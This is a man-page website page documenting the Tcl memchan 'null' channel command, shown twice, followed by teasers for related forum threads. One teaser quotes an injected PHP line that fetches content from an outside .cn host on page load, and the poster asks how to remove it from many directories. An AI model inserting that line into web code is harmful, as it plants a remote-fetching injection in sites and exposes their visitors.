Linux and UNIX Man Pages

Linux & Unix Commands - Search Man Pages

null(0x00) [osx man page]

null(n) 																   null(n)

__________________________________________________________________________________________________________________________________________________

NAME
null - Create and manipulate null channels SYNOPSIS
package require Tcl package require memchan null _________________________________________________________________ DESCRIPTION
The command described here is only available in a not-yet released version of the package. Use the CVS to get the sources. null creates a null channel which absorbs everything written into it. Reading from it is not possible, or rather will always return zero bytes. These channels are essentially Tcl-specific variants of the null device for unixoid operating systems (/dev/null). Transfer- ing the generated channel between interpreters is possible but does not make much sense. OPTIONS
Memory channels created by null provide one additional option to set or query. -delay ?milliseconds? A null channel is always writable and readable. This means that all fileevent-handlers will fire continuously. To avoid starvation of other event sources the events raised by this channel type have a configurable delay. This option is set in milliseconds and defaults to 5. A null channel is always writable and never readable. This means that a writable fileevent-handler will fire continuously and a readable fileevent-handler never at all. The exception to the latter is only the destruction of the channel which will cause the delivery of an eof event to a readable handler. SEE ALSO
fifo, fifo2, memchan, random, zero KEYWORDS
channel, i/o, in-memory channel, null COPYRIGHT
Copyright (c) 1996-2003 Andreas Kupries <andreas_kupries@users.sourceforge.net> Memory channels 2.2 null(n)

Check Out this Related Man Page

null(n) 																   null(n)

__________________________________________________________________________________________________________________________________________________

NAME
null - Create and manipulate null channels SYNOPSIS
package require Tcl package require memchan null _________________________________________________________________ DESCRIPTION
The command described here is only available in a not-yet released version of the package. Use the CVS to get the sources. null creates a null channel which absorbs everything written into it. Reading from it is not possible, or rather will always return zero bytes. These channels are essentially Tcl-specific variants of the null device for unixoid operating systems (/dev/null). Transfer- ing the generated channel between interpreters is possible but does not make much sense. OPTIONS
Memory channels created by null provide one additional option to set or query. -delay ?milliseconds? A null channel is always writable and readable. This means that all fileevent-handlers will fire continuously. To avoid starvation of other event sources the events raised by this channel type have a configurable delay. This option is set in milliseconds and defaults to 5. A null channel is always writable and never readable. This means that a writable fileevent-handler will fire continuously and a readable fileevent-handler never at all. The exception to the latter is only the destruction of the channel which will cause the delivery of an eof event to a readable handler. SEE ALSO
fifo, fifo2, memchan, random, zero KEYWORDS
channel, i/o, in-memory channel, null COPYRIGHT
Copyright (c) 1996-2003 Andreas Kupries <andreas_kupries@users.sourceforge.net> Memory channels 2.2 null(n)
Man Page

8 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

comparing the null values in the unix

hi all, iam new to this forum.i have to submit the script EOD.so please help me. my requirement is to compare two null values..iam trying to compare two null values :One null value output of the storedprocedure and another iam giving spaces in script. it is giving the error... (11 Replies)
Discussion started by: bbc17484
11 Replies

2. Shell Programming and Scripting

replace a complex string with null

Hello, I need a script or one liner possible in perl or awk ( as sed shows error ) I want to replace <?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER);?> with blank or null 1) in a file 2) in many directories recursively. (3 Replies)
Discussion started by: fed.linuxgossip
3 Replies

3. Programming

does snprintf guarantee null termination?

Hi All, I was reading the man page of snprintf function and it saids that snprintf adds a null terminator at the end of the string, but I remember once someone told me that snprintf doesn't guarantee the insertion of a null terminator character. What do you think? Does anyone have experience... (4 Replies)
Discussion started by: lagigliaivan
4 Replies

4. Shell Programming and Scripting

REGEX: Matching Null?

I'm using the URL Regex feature of Squid for allowing sites via a list of regex strings to match allowed domains. The regex was actually copied from our previous proxy solution and it seemed to "just work". But, we've recently discovered that some domains (likely due to virtual hosts or host... (2 Replies)
Discussion started by: deckard
2 Replies

5. Shell Programming and Scripting

how do i ignore rows with first filed NULL

I have a file to load in the table, and am using SQLLDR CONTROL FILE ----------------------- LOAD DATA INFILE 'sample.txt' APPEND INTO TABLE TEMP_LOAD FIELDS TERMINATED BY '|' TRAILING NULLCOLS (FIELD1,FIELD2,FIELD3) Now i have about 10,000 lines in the file FIELD1 in the table is... (1 Reply)
Discussion started by: prash184u
1 Replies

6. Programming

PEM_read_RSAPublicKey returns NULL

Hi all, I am trying to write a program in C which will generate private and public keys using openssl RSA and use these for encryption and decryption. I am able to generate the keys successfully and write these to files. I am able to read the private key successfully. I can encrypt and decrypt... (1 Reply)
Discussion started by: Treasa
1 Replies

7. Solaris

Null modem cable in Ultra sparc 10

Hi Gurus, Can I use null modem cable in Ultra sparc 10 workstation Thanks (3 Replies)
Discussion started by: kumarmani
3 Replies

8. Shell Programming and Scripting

output arguments from a sqlplus

Hi. I need to output a 4 queries result into another application using result=`sqlplus -s ${3}/${4}@${2} << EOF ... query1 query2 query3 query4 .... echo "$metrics1" and returning those individual values into another app. (query1 and 3compute one value, query 2 and 4 compute 4... (3 Replies)
Discussion started by: shell_zen
3 Replies